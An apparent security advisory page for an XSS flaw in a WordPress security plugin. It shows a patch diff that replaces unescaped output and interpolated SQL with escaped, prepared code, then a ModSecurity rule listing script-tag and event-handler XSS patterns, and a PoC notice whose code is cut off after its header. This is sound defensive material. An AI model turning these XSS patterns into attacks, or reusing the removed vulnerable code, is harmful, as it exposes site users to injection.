--- a/all-in-one-wp-security-and-firewall/admin/wp-security-brute-force-menu.php
+++ b/all-in-one-wp-security-and-firewall/admin/wp-security-brute-force-menu.php
@@ -51,7 +51,6 @@
 			'404-detection' => array(
 				'title' => __('404 detection', 'all-in-one-wp-security-and-firewall'),
 				'render_callback' => array($this, 'render_404_detection'),
-				'display_condition_callback' => array('AIOWPSecurity_Utility_Permissions', 'is_main_site_and_super_admin'),
 			),
 			'honeypot' => array(
 				'title' => __('Honeypot', 'all-in-one-wp-security-and-firewall'),
--- a/all-in-one-wp-security-and-firewall/admin/wp-security-dashboard-menu.php
+++ b/all-in-one-wp-security-and-firewall/admin/wp-security-dashboard-menu.php
@@ -481,25 +481,56 @@
 	}

 	/**
+	 * Gets last x days login details
+	 *
+	 * @global $wpdb
+	 * @param int $days Number of days
+	 *
+	 * @return array
+	 */
+	public static function get_login_data_lastx_days($days) {
+		global $wpdb;
+		$days_before_time = strtotime('-'.$days.' days', time());
+		$audit_log_table = AIOWPSEC_TBL_AUDIT_LOG;
+		if (is_super_admin()) {
+			// phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $audit_log_table is a plugin-defined constant
+			$login_data_lastx_days = $wpdb->get_results($wpdb->prepare("SELECT id,created FROM $audit_log_table WHERE event_type = %s and created > %d", array('successful_login', $days_before_time)), ARRAY_A);
+		} else {
+			// phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $audit_log_table is a plugin-defined constant
+			$login_data_lastx_days = $wpdb->get_results($wpdb->prepare("SELECT id,created FROM $audit_log_table WHERE event_type = %s and created > %d and site_id = %d", array('successful_login', $days_before_time, get_current_blog_id())), ARRAY_A);
+		}
+		return $login_data_lastx_days;
+	}
+
+	/**
+	 * Gets last 5 login record details
+	 *
+	 * @global $wpdb
+	 * @param int $records Number of records
+	 *
+	 * @return array
+	 */
+	public static function get_login_lastx_records($records) {
+		global $wpdb;
+		$audit_log_table = AIOWPSEC_TBL_AUDIT_LOG;
+		if (is_super_admin()) {
+			// phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $audit_log_table is a plugin-defined constant
+			$login_lastx_records = $wpdb->get_results($wpdb->prepare("SELECT * FROM $audit_log_table WHERE event_type = %s ORDER BY created DESC LIMIT %d", array('successful_login', $records)), ARRAY_A);
+		} else {
+			// phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $audit_log_table is a plugin-defined constant
+			$login_lastx_records = $wpdb->get_results($wpdb->prepare("SELECT * FROM $audit_log_table WHERE event_type = %s and site_id = %d ORDER BY created DESC LIMIT %d", array('successful_login', get_current_blog_id(), $records)), ARRAY_A);
+		}
+		return $login_lastx_records;
+	}
+
+	/**
 	 * This outputs the latest logins dashboard widget
 	 *
 	 * @return void
 	 */
 	public function widget_last_5_logins() {
-		global $wpdb;
-		$audit_log_table = AIOWPSEC_TBL_AUDIT_LOG;
-		$where_sql = (is_super_admin()) ? '' : ' and site_id = '.get_current_blog_id().' ';
-
 		$last_days = 7;
-		$days_before_time = strtotime('-'.$last_days.' days', time());
-
-		// phpcs:ignore WordPress.DB.DirectDatabaseQuery -- PCP warning. Direct query necessary.
-		$login_data_lastx_days = $wpdb->get_results(
-			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- pcp Warning. Ignore.
-			$wpdb->prepare("SELECT id,created FROM $audit_log_table WHERE event_type = %s $where_sql and created > %s", 'successful_login', $days_before_time),
-			ARRAY_A
-		); // Get the last x days records
-
+		$login_data_lastx_days = self::get_login_data_lastx_days($last_days); // Get the last x days login records
 		if (!empty($login_data_lastx_days)) {
 			$chart_data = array();
 			$chart_data['columns'] = array(__('Date', 'all-in-one-wp-security-and-firewall'), __('Logins', 'all-in-one-wp-security-and-firewall'));
@@ -508,24 +539,18 @@
 			$chart_data['id'] = 'logins_last_'.$last_days.'days';
 			$this->dashboard_widget_chart($chart_data, 'bar');
 		}
-
-		// phpcs:ignore WordPress.DB.DirectDatabaseQuery -- PCP Error. Ignore.
-		$data = $wpdb->get_results(
-			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- PCP error. Ignore.
-			$wpdb->prepare("SELECT * FROM $audit_log_table WHERE event_type = %s ORDER BY created DESC LIMIT %d", 'successful_login', 5),
-			ARRAY_A
-		); //Get the last 5 records
-
-		if (null == $data) {
+
+		$records = 5;
+		$login_lastx_records = self::get_login_lastx_records($records); //Get the last 5 login records
+		if (null == $login_lastx_records) {
 			echo '<p>' . esc_html__('No data found.', 'all-in-one-wp-security-and-firewall') . '</p>';
 		} else {
 			$login_summary_table_data = array();
-			//$login_summary_table_data['title'] = __('Last 5 login summary:', 'all-in-one-wp-security-and-firewall');
 			$login_summary_table_data['columns'] = array(__('User', 'all-in-one-wp-security-and-firewall'), __('Date', 'all-in-one-wp-security-and-firewall'), 'IP');
-			foreach ($data as $entry) {
+			foreach ($login_lastx_records as $entry) {
 				$login_summary_table_data['data'][] = array($entry['username'], gmdate('Y-m-d H:i:s', $entry['created']), $entry['ip']);
 			}
-			$login_summary_table_data = apply_filters('aios_last5_logins_summary', $login_summary_table_data, $data);
+			$login_summary_table_data = apply_filters('aios_last5_logins_summary', $login_summary_table_data, $login_lastx_records);
 			$this->dashboard_widget($login_summary_table_data);

 			// View all login logs
--- a/all-in-one-wp-security-and-firewall/admin/wp-security-database-menu.php
+++ b/all-in-one-wp-security-and-firewall/admin/wp-security-database-menu.php
@@ -108,10 +108,10 @@
 		$perform_db_change = false;

 		if (isset($_POST['aiowps_db_prefix_change'])) { // Do form submission tasks
-			$nonce = $_REQUEST['_wpnonce'];
+			$nonce = isset($_REQUEST['_wpnonce']) ? sanitize_text_field(wp_unslash($_REQUEST['_wpnonce'])) : '';
 			if (!wp_verify_nonce($nonce, 'aiowpsec-db-prefix-change-nonce')) {
 				$aio_wp_security->debug_logger->log_debug("Nonce check failed for DB prefix change operation.", 4);
-				die(__('Nonce check failed for DB prefix change operation.', 'all-in-one-wp-security-and-firewall'));
+				die(esc_html__('Nonce check failed for DB prefix change operation.', 'all-in-one-wp-security-and-firewall'));
 			}

 			// Let's first check if user's system allows writing to wp-config.php file. If plugin cannot write to wp-config we will not do the prefix change.
@@ -129,16 +129,16 @@
 						$this->show_msg_error(__('Please enter a value for the DB prefix.', 'all-in-one-wp-security-and-firewall'));
 					} else {
 						// User has chosen their own DB prefix value
-						$new_db_prefix = wp_strip_all_tags(trim($_POST['aiowps_new_manual_db_prefix']));
+						$new_db_prefix = trim(sanitize_text_field(wp_unslash($_POST['aiowps_new_manual_db_prefix'])));
 						if ($new_db_prefix !== $_POST['aiowps_new_manual_db_prefix']) {
-							wp_die("<strong>".__('Error:', 'all-in-one-wp-security-and-firewall')."</strong> ".__('prefix contains HTML tags', 'all-in-one-wp-security-and-firewall'));
+							wp_die("<strong>".esc_html__('Error:', 'all-in-one-wp-security-and-firewall')."</strong> ".esc_html__('prefix contains HTML tags', 'all-in-one-wp-security-and-firewall'));
 						}
 						if (preg_match('|[^a-z0-9_]|i', $new_db_prefix)) {
-							wp_die("<strong>".__('Error:', 'all-in-one-wp-security-and-firewall')."</strong> ".__('prefix contains invalid characters, the prefix should only contain alphanumeric and underscore characters.', 'all-in-one-wp-security-and-firewall'));
+							wp_die("<strong>".esc_html__('Error:', 'all-in-one-wp-security-and-firewall')."</strong> ".esc_html__('prefix contains invalid characters, the prefix should only contain alphanumeric and underscore characters.', 'all-in-one-wp-security-and-firewall'));
 						}
 						$error = $wpdb->set_prefix($new_db_prefix); // validate the user chosen prefix
 						if (is_wp_error($error)) {
-							wp_die("<strong>".__('Error:', 'all-in-one-wp-security-and-firewall')."</strong> (".$error->get_error_code()."): ".$error->get_error_message());
+							wp_die("<strong>".esc_html__('Error:', 'all-in-one-wp-security-and-firewall')."</strong> (" . esc_html($error->get_error_code()) . "): " . esc_html($error->get_error_message()));
 						}
 						$wpdb->set_prefix($old_db_prefix);
 						$perform_db_change = true;
@@ -194,28 +194,29 @@
 		$config_file = AIOWPSecurity_Utility_File::get_wp_config_file_path();

 		// Get the table resource
-		// $result = mysql_list_tables(DB_NAME);
-		$result = $this->get_mysql_tables(DB_NAME); //Fix for deprecated php mysql_list_tables function
+		$result = $this->get_mysql_tables(DB_NAME);

 		// Count the number of tables
 		if (is_array($result) && count($result) > 0) {
 			$num_rows = count($result);
 		} else {
-			echo '<div class="aio_red_box"><p>'.__('Error - Could not get tables or no tables found!', 'all-in-one-wp-security-and-firewall').'</p></div>';
+			echo '<div class="aio_red_box"><p>' . esc_html__('Error - Could not get tables or no tables found!', 'all-in-one-wp-security-and-firewall').'</p></div>';
 			return;
 		}
 		$table_count = 0;
-		$info_msg_string = '<p class="aio_info_with_icon">'.__('Starting DB prefix change operations.....', 'all-in-one-wp-security-and-firewall').'</p>';
-
-		$info_msg_string .= '<p class="aio_info_with_icon">'.sprintf(__('Your WordPress system has a total of %s tables and your new DB prefix will be: %s', 'all-in-one-wp-security-and-firewall'), '<strong>'.$num_rows.'</strong>', '<strong>'.$table_new_prefix.'</strong>').'</p>';
+		$info_msg_string = '<p class="aio_info_with_icon">' . esc_html__('Starting DB prefix change operations.....', 'all-in-one-wp-security-and-firewall').'</p>';
+
+		/* translators: 1. Number of tables 2. New DB table prefix. */
+		$info_msg_string .= '<p class="aio_info_with_icon">' . sprintf(esc_html__('Your WordPress system has a total of %1$s tables and your new DB prefix will be: %2$s', 'all-in-one-wp-security-and-firewall'), '<strong>' . esc_html($num_rows) . '</strong>', '<strong>' . esc_html($table_new_prefix) . '</strong>') . '</p>';
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Variable escaped earlier.
 		echo $info_msg_string;

 		// Do a back of the config file
 		if (!AIOWPSecurity_Utility_File::backup_and_rename_wp_config($config_file)) {
-			echo '<div class="aio_red_box"><p>'.__('Failed to make a backup of the wp-config.php file.', 'all-in-one-wp-security-and-firewall') . ' ' .__('This operation will not go ahead.', 'all-in-one-wp-security-and-firewall').'</p></div>';
+			echo '<div class="aio_red_box"><p>' . esc_html__('Failed to make a backup of the wp-config.php file.', 'all-in-one-wp-security-and-firewall') . ' ' . esc_html__('This operation will not go ahead.', 'all-in-one-wp-security-and-firewall').'</p></div>';
 			return;
 		} else {
-			echo '<p class="aio_success_with_icon">'.__('A backup copy of your wp-config.php file was created successfully!', 'all-in-one-wp-security-and-firewall').'</p>';
+			echo '<p class="aio_success_with_icon">' . esc_html__('A backup copy of your wp-config.php file was created successfully!', 'all-in-one-wp-security-and-firewall') . '</p>';
 		}

 		// Get multisite blog_ids if applicable
@@ -230,17 +231,16 @@

 			if (strpos($table_old_name, $table_old_prefix) === 0) {
 				// Get table name with new prefix
-				$table_new_name = AIOWPSecurity_Utility::backquote($table_new_prefix . substr($table_old_name, $old_prefix_length));
-				$table_old_name = AIOWPSecurity_Utility::backquote($table_old_name);
-
-				// Write query to rename tables name
-				$sql = "RENAME TABLE ".$table_old_name." TO ".$table_new_name;
-				// $sql = "RENAME TABLE %s TO %s";
-
-				// Execute the query
-				if (false === $wpdb->query($sql)) {
+				$raw_table_new_name = $table_new_prefix . substr($table_old_name, $old_prefix_length);
+				$table_new_name = AIOWPSecurity_Utility::quote_identifier($raw_table_new_name);
+				$table_old_name = AIOWPSecurity_Utility::quote_identifier($table_old_name);
+
+				// Write query to rename tables name and execute the query.
+				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery, PluginCheck.Security.DirectDB.UnescapedDBParameter -- We can't use $wpdb->prepare with %i because our plugin supports WordPress < 6.2.
+				if (false === $wpdb->query("RENAME TABLE $table_old_name TO $table_new_name")) {
 					$error = 1;
-					echo '<p class="aio_error_with_icon">'.sprintf(__('%s table name update failed', 'all-in-one-wp-security-and-firewall'), '<strong>'.$table_old_name.'</strong>').'</p>';
+					/* translators: %s: Old DB table name. */
+					echo '<p class="aio_error_with_icon">' . sprintf(esc_html__('%s table name update failed', 'all-in-one-wp-security-and-firewall'), '<strong>' . esc_html($table_old_name) . '</strong>') . '</p>';
 					$aio_wp_security->debug_logger->log_debug("DB Security Feature - Unable to change prefix of table ".$table_old_name, 4);
 				} else {
 					$table_count++;
@@ -250,9 +250,11 @@
 			}
 		}
 		if (1 == $error) {
-			echo '<p class="aio_error_with_icon">'.sprintf(__('Please change the prefix manually for the above tables to: %s', 'all-in-one-wp-security-and-firewall'), '<strong>'.$table_new_prefix.'</strong>').'</p>';
+			/* translators: %s: New DB table name. */
+			echo '<p class="aio_error_with_icon">' . sprintf(esc_html__('Please change the prefix manually for the above tables to: %s', 'all-in-one-wp-security-and-firewall'), '<strong>' . esc_html($table_new_prefix) . '</strong>') . '</p>';
 		} else {
-			echo '<p class="aio_success_with_icon">'.sprintf(__('%s tables had their prefix updated successfully!', 'all-in-one-wp-security-and-firewall'), '<strong>'.$table_count.'</strong>').'</p>';
+			/* translators: %s: DB table count. */
+			echo '<p class="aio_success_with_icon">' . sprintf(esc_html__('%s tables had their prefix updated successfully!', 'all-in-one-wp-security-and-firewall'), '<strong>' . esc_html($table_count) . '</strong>') . '</p>';
 		}

 		// Let's check for mysql tables of type "view"
@@ -272,20 +274,29 @@
 		}
 		// Now let's modify the wp-config.php file
 		if (AIOWPSecurity_Utility_File::write_content_to_file($config_file, $config_contents)) {
-			echo '<p class="aio_success_with_icon">'. __('wp-config.php file was updated successfully!', 'all-in-one-wp-security-and-firewall').'</p>';
+			echo '<p class="aio_success_with_icon">'. esc_html__('wp-config.php file was updated successfully!', 'all-in-one-wp-security-and-firewall').'</p>';
 		} else {
-			echo '<p class="aio_error_with_icon">'.sprintf(__('The "wp-config.php" file was not able to be modified.', 'all-in-one-wp-security-and-firewall').' '.__('Please modify this file manually using your favourite editor and search for variable "$table_prefix" and assign the following value to that variable: %s', 'all-in-one-wp-security-and-firewall'), '<strong>'.$table_new_prefix.'</strong>').'</p>';
+			/* translators: %s: New DB table prefix. */
+			echo '<p class="aio_error_with_icon">'.sprintf(esc_html__('The "wp-config.php" file was not able to be modified.', 'all-in-one-wp-security-and-firewall') . ' ' . esc_html__('Please modify this file manually using your favourite editor and search for variable "$table_prefix" and assign the following value to that variable: %s', 'all-in-one-wp-security-and-firewall'), '<strong>' . esc_html($table_new_prefix) . '</strong>') . '</p>';
 			$aio_wp_security->debug_logger->log_debug("DB Security Feature - Unable to modify wp-config.php", 4);
 		}
-
-		// Now let's update the options table
-		$update_option_table_query = $wpdb->prepare("UPDATE " . $table_new_prefix . "options SET option_name = '".$table_new_prefix ."user_roles' WHERE option_name = %s LIMIT 1", $table_old_prefix."user_roles");

-		if (false === $wpdb->query($update_option_table_query)) {
-			echo '<p class="aio_error_with_icon">'.sprintf(__('Update of table %s failed: unable to change %s to %s', 'all-in-one-wp-security-and-firewall'), $table_new_prefix.'options', $table_old_prefix.'user_roles', $table_new_prefix.'user_roles').'</p>';
+		// Now let's update the options table
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery -- There doesn't seem to be an alternative.
+		$update_option_table_result = $wpdb->update(
+			$table_new_prefix . 'options',
+			array('option_name' => $table_new_prefix . 'user_roles'),
+			array('option_name' => $table_old_prefix . 'user_roles'),
+			array('%s'),
+			array('%s')
+		);
+
+		if (false === $update_option_table_result) {
+			/* translators: 1. Options new prefix, 2. User roles old prefix, 3. User roles new prefix. */
+			echo '<p class="aio_error_with_icon">' . esc_html(sprintf(__('Update of table %1$s failed: unable to change %2$s to %3$s', 'all-in-one-wp-security-and-firewall'), $table_new_prefix . 'options', $table_old_prefix . 'user_roles', $table_new_prefix . 'user_roles')) . '</p>';
 			$aio_wp_security->debug_logger->log_debug("DB Security Feature - Error when updating the options table", 4);//Log the highly unlikely event of DB error
 		} else {
-			echo '<p class="aio_success_with_icon">'. __('The options table records which had references to the old DB prefix were updated successfully!', 'all-in-one-wp-security-and-firewall') .'</p>';
+			echo '<p class="aio_success_with_icon">'. esc_html__('The options table records which had references to the old DB prefix were updated successfully!', 'all-in-one-wp-security-and-firewall') .'</p>';
 		}

 		// Now let's update the options tables for the multisite subsites if applicable
@@ -296,72 +307,78 @@
 					if ($blog_id == $main_site_id) continue;
 					$new_pref_and_site_id = $table_new_prefix.$blog_id.'_';
 					$old_pref_and_site_id = $table_old_prefix.$blog_id.'_';
-					$update_ms_option_table_query = $wpdb->prepare("UPDATE " . $new_pref_and_site_id . "options SET option_name = '".$new_pref_and_site_id."user_roles' WHERE option_name = %s LIMIT 1", $old_pref_and_site_id."user_roles");
-					if (false === $wpdb->query($update_ms_option_table_query)) {
-						echo '<p class="aio_error_with_icon">'.sprintf(__('Update of table %s failed: unable to change %s to %s', 'all-in-one-wp-security-and-firewall'), $new_pref_and_site_id.'options', $old_pref_and_site_id.'user_roles', $new_pref_and_site_id.'user_roles').'</p>';
+
+					// phpcs:ignore WordPress.DB.DirectDatabaseQuery -- There doesn't seem to be an alternative.
+					$update_ms_option_table_result = $wpdb->update(
+						$new_pref_and_site_id . 'options',
+						array('option_name' => $new_pref_and_site_id . 'user_roles'),
+						array('option_name' => $old_pref_and_site_id . 'user_roles'),
+						array('%s'),
+						array('%s')
+					);
+
+					if (false === $update_ms_option_table_result) {
+						/* translators: 1. New options table name.  2. Old user roles table name,  3. New user roles table name. */
+						echo '<p class="aio_error_with_icon">' . esc_html(sprintf(__('Update of table %1$s failed: unable to change %2$s to %3$s', 'all-in-one-wp-security-and-firewall'), $new_pref_and_site_id . 'options', $old_pref_and_site_id . 'user_roles', $new_pref_and_site_id . 'user_roles')) . '</p>';
 						$aio_wp_security->debug_logger->log_debug("DB change prefix feature - Error when updating the subsite options table: ".$new_pref_and_site_id.'options', 4);//Log the highly unlikely event of DB error
 					} else {
-						echo '<p class="aio_success_with_icon">'.sprintf(__('The %s table records which had references to the old DB prefix were updated successfully!', 'all-in-one-wp-security-and-firewall'), $new_pref_and_site_id.'options').'</p>';
+						/* translators: %s: New options table name. */
+						echo '<p class="aio_success_with_icon">' . esc_html(sprintf(__('The %s table records which had references to the old DB prefix were updated successfully!', 'all-in-one-wp-security-and-firewall'), $new_pref_and_site_id . 'options')) . '</p>';
 					}
 				}
 			}
 		}
-
-		//Now let's update the user meta table
-		$custom_sql = "SELECT user_id, meta_key FROM " . $table_new_prefix . "usermeta WHERE meta_key LIKE '" . $table_old_prefix . "%'";
-
-		$meta_keys = $wpdb->get_results($custom_sql);
-
-		$error_update_usermeta = '';
-
-		// Update all meta_key field values which have the old table prefix in user_meta table
-		foreach ($meta_keys as $meta_key) {
-			// Create new meta key
-			$new_meta_key = $table_new_prefix . substr($meta_key->meta_key, $old_prefix_length);
-
-			$update_user_meta_sql = $wpdb->prepare("UPDATE " . $table_new_prefix . "usermeta SET meta_key='" . $new_meta_key . "' WHERE meta_key=%s AND user_id=%s", $meta_key->meta_key, $meta_key->user_id);

-			if (false === $wpdb->query($update_user_meta_sql)) {
-				$error_update_usermeta .= '<p class="aio_error_with_icon">'.sprintf(__('Error updating user_meta table where new meta_key = %s, old meta_key = %s and user_id = %s.', 'all-in-one-wp-security-and-firewall'), $new_meta_key, $meta_key->meta_key, $meta_key->user_id).'</p>';
-				echo $error_update_usermeta;
-				$aio_wp_security->debug_logger->log_debug("DB Security Feature - Error updating user_meta table where new meta_key = ".$new_meta_key." old meta_key = ".$meta_key->meta_key." and user_id = ".$meta_key->user_id, 4);//Log the highly unlikely event of DB error
-			}
+		// Update all meta_key field values which have the old table prefix in the usermeta table.
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery, PluginCheck.Security.DirectDB.UnescapedDBParameter -- There doesn't seem to be an alternative.
+		$update_usermeta_result = $wpdb->query(
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- We can't use %i because our plugin supports WordPress < 6.2.
+			$wpdb->prepare("UPDATE `{$table_new_prefix}usermeta` SET meta_key = CONCAT(%s, SUBSTRING(meta_key, %d)) WHERE meta_key LIKE %s",
+				$table_new_prefix,
+				$old_prefix_length + 1,
+				$wpdb->esc_like($table_old_prefix) . '%'
+			)
+		);
+
+		if (false === $update_usermeta_result) {
+			echo '<p class="aio_error_with_icon">' . esc_html__('Error updating usermeta table.', 'all-in-one-wp-security-and-firewall') . '</p>';
+			$aio_wp_security->debug_logger->log_debug('DB Security Feature - Error updating usermeta table.', 4);
+		} else {
+			echo '<p class="aio_success_with_icon">' . esc_html__('The usermeta table records which had references to the old DB prefix were updated successfully.', 'all-in-one-wp-security-and-firewall') . '</p>';
 		}
-		echo '<p class="aio_success_with_icon">'.__('The usermeta table records which had references to the old DB prefix were updated successfully!', 'all-in-one-wp-security-and-firewall').'</p>';
+
 		// Display tasks finished message
-		$tasks_finished_msg_string = '<p class="aio_info_with_icon">'. __('The database prefix change tasks have been completed.', 'all-in-one-wp-security-and-firewall').'</p>';
-		echo $tasks_finished_msg_string;
+		echo '<p class="aio_info_with_icon">' . esc_html__('The database prefix change tasks have been completed.', 'all-in-one-wp-security-and-firewall') . '</p>';
 	}

 	/**
-	 * This is an alternative to the deprecated "mysql_list_tables
+	 * Gets all of the tables of a given database.
 	 *
-	 * @param string $database - database name
+	 * @param string $database
 	 *
-	 * @returns array - an array of table names
+	 * @return array|bool
 	 */
-	public function get_mysql_tables($database = '') {
-		global $aio_wp_security;
-		$tables = array();
-		$list_tables_sql = "SHOW TABLES FROM `{$database}`;";
-		$mysqli = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
-
-		if ($mysqli->connect_errno) {
-			$aio_wp_security->debug_logger->log_debug("AIOWPSecurity_Database_Menu->get_mysql_tables() - DB connection error.", 4);
-			return false;
+	private function get_mysql_tables($database = '') {
+		global $wpdb, $aio_wp_security;
+
+		if (empty($database)) {
+			$list_tables_sql = "SHOW TABLES";
+		} else {
+			$safe_database = AIOWPSecurity_Utility::quote_identifier($database);
+			$list_tables_sql = "SHOW TABLES FROM $safe_database";
 		}

-		$result = $mysqli->query($list_tables_sql, MYSQLI_USE_RESULT);
-		if ($result) {
-			//Alternative way to get the tables
-			while ($row = $result->fetch_assoc()) {
-				foreach ($row as $value) {
-					$tables[] = $value;
-				}
-			}
-			$result->close();
+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery, PluginCheck.Security.DirectDB.UnescapedDBParameter -- We can't use $wpdb->prepare with %i because our plugin supports WordPress < 6.2.
+		$tables = $wpdb->get_col($list_tables_sql);
+
+		if (empty($tables)) {
+			$aio_wp_security->debug_logger->log_debug(
+				"AIOWPSecurity_Database_Menu::get_mysql_tables() - Failed to retrieve tables for database: " . ($database ?: 'current'),
+				4
+			);
+			return false;
 		}
-		$mysqli->close();
+
 		return $tables;
 	}

@@ -376,31 +393,38 @@
 	private function alter_table_views($old_db_prefix, $new_db_prefix) {
 		global $wpdb, $aio_wp_security;
 		$db_name = $wpdb->dbname;
-		$info_msg_string = '<p class="aio_info_with_icon">'.__('Checking for MySQL tables of type "view".....', 'all-in-one-wp-security-and-firewall').'</p>';
-		echo $info_msg_string;
-
+		echo '<p class="aio_info_with_icon">' . esc_html__('Checking for MySQL tables of type "view".....', 'all-in-one-wp-security-and-firewall') . '</p>';
+
 		// get tables which are views
-		$query = "SELECT * FROM INFORMATION_SCHEMA.VIEWS WHERE TABLE_SCHEMA LIKE '".$db_name."'";
-		$res = $wpdb->get_results($query);
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery -- There doesn't seem to be a better alternative than $wpdb->get_results.
+		$res = $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT * FROM INFORMATION_SCHEMA.VIEWS WHERE TABLE_SCHEMA = %s",
+				$db_name
+			)
+		);
 		if (empty($res)) return;
 		$view_count = 0;
 		foreach ($res as $item) {
 			$old_def = $item->VIEW_DEFINITION;
 			$new_def = AIOWPSecurity_Utility::str_replace_once($old_db_prefix, $new_db_prefix, $old_def);
-			$new_def = AIOWPSecurity_Utility::backquote($new_def);
+			$new_def = AIOWPSecurity_Utility::quote_identifier($new_def);
+
+			$view_name = AIOWPSecurity_Utility::quote_identifier($item->TABLE_NAME);

-			$view_name = AIOWPSecurity_Utility::backquote($item->TABLE_NAME);
-			$chg_view_sql = "ALTER VIEW $view_name AS $new_def";
-			$view_res = $wpdb->query($chg_view_sql);
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery, PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.DirectDatabaseQuery.SchemaChange -- ALTER VIEW requires a raw SQL fragment for the view definition which cannot be parameterized with $wpdb->prepare. We have to do a schema change for this feature.
+			$view_res = $wpdb->query("ALTER VIEW $view_name AS $new_def");
 			if (false === $view_res) {
-				echo '<p class="aio_error_with_icon">'.sprintf(__('Update of the following MySQL view definition failed: %s', 'all-in-one-wp-security-and-firewall'), $old_def).'</p>';
+				/* translators: %s: Old definition. */
+				echo '<p class="aio_error_with_icon">' . esc_html(sprintf(__('Update of the following MySQL view definition failed: %s', 'all-in-one-wp-security-and-firewall'), $old_def)) . '</p>';
 				$aio_wp_security->debug_logger->log_debug("Update of the following MySQL view definition failed: ".$old_def, 4);//Log the highly unlikely event of DB error
 			} else {
 				$view_count++;
 			}
 		}
 		if ($view_count > 0) {
-			echo '<p class="aio_success_with_icon">'.sprintf(__('%s view definitions were updated successfully.', 'all-in-one-wp-security-and-firewall'), '<strong>'.$view_count.'</strong>').'</p>';
+			/* translators: %s: View count. */
+			echo '<p class="aio_success_with_icon">' . sprintf(esc_html__('%s view definitions were updated successfully.', 'all-in-one-wp-security-and-firewall'), '<strong>' . esc_html($view_count) . '</strong>') . '</p>';
 		}

 		return;
--- a/all-in-one-wp-security-and-firewall/admin/wp-security-filescan-menu.php
+++ b/all-in-one-wp-security-and-firewall/admin/wp-security-filescan-menu.php
@@ -55,9 +55,7 @@
 	protected function render_file_change_detect() {
 		global $aio_wp_security;

-		$aios_commands = new AIOWPSecurity_Commands();
-
-		$scanner_data = $aios_commands->get_scanner_data();
+		$scanner_data = AIOWPSecurity_Utility_File::get_scanner_data();

 		$aio_wp_security->include_template('wp-admin/scanner/file-change-detect.php', false, $scanner_data);
 	}
--- a/all-in-one-wp-security-and-firewall/admin/wp-security-list-404.php
+++ b/all-in-one-wp-security-and-firewall/admin/wp-security-list-404.php
@@ -4,108 +4,134 @@
 	exit; // Exit if accessed directly
 }

-class AIOWPSecurity_List_404 extends AIOWPSecurity_List_Table {
+class AIOWPSecurity_List_404 extends AIOWPSecurity_Ajax_Data_Table {

-	public function __construct() {
+	public function __construct($data = array()) {

 		//Set parent defaults
 		parent::__construct(array(
 			'singular' => 'item', //singular name of the listed records
-			'plural' => 'items', //plural name of the listed records
-			'ajax' => false        //does this table support ajax?
+			'plural' => 'items',  //plural name of the listed records
+			'ajax' => true,       //does this table support ajax?
+			'data' => $data       // Request data
 		));
 	}

 	/**
-	 * Returns created column in datetime format as per user setting time zone.
+	 * Renders created column in datetime format as per user setting time zone.
 	 *
 	 * @param array $item - data for the columns on the current row
 	 *
-	 * @return string - the datetime
+	 * @return void
 	 */
 	public function column_created($item) {
-		return AIOWPSecurity_Utility::convert_timestamp($item['created']);
+		echo esc_html(AIOWPSecurity_Utility::convert_timestamp($item['created']));
 	}

-	public function column_default($item, $column_name) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-8438
# Block XSS payloads in REST API request paths targeting AIOS endpoints
# This rule matches URI paths containing /wp-json/ followed by plugin namespace
# and detects script/event handler patterns in the decoded path (URL-encoded or not).
# Because the vulnerability uses urldecode() on REQUEST_URI, we match both raw and
# common encodings, but our primary target is URL-encoded <script> or on*= event handlers.
SecRule REQUEST_URI "@rx ^/wp-json/aiowps/" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-8438 XSS via AIOS REST API path',severity:'CRITICAL',tag:'CVE-2026-8438',tag:'wordpress',tag:'aios'"
  SecRule REQUEST_URI "@rx (?:%3[Cc]|%3[cC]|x3c|<)[Ss][Cc][Rr][Ii][Pp][Tt]|(?:%3[Ee]|%3[eE]|x3e|>)[Ss][Cc][Rr][Ii][Pp][Tt]|[Oo][Nn](?:[Ll][Oo][Aa][Dd]|[Ee][Rr][Rr][Oo][Rr]|[Cc][Ll][Ii][Cc][Kk]|[Ss][Uu][Bb][Mm][Ii][Tt]|[Ff][Oo][Cc][Uu][Ss]|[Bb][Ll][Uu][Rr]|[Cc][Hh][Aa][Nn][Gg][Ee]|[Mm][Oo][Uu][Ss][Ee][Dd][Oo][Ww][Nn]|[Mm][Oo][Uu][Ss][Ee][Uu][Pp]|[Kk][Ee][Yy][Pp][Rr][Ee][Ss][Ss]|[Kk][Ee][Yy][Dd][Oo][Ww][Nn]|[Kk][Ee][Yy][Uu][Pp])=" 
    "t:urlDecode,chain"
    SecRule REQUEST_URI "@rx [<>]|onw+=" 
      "t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
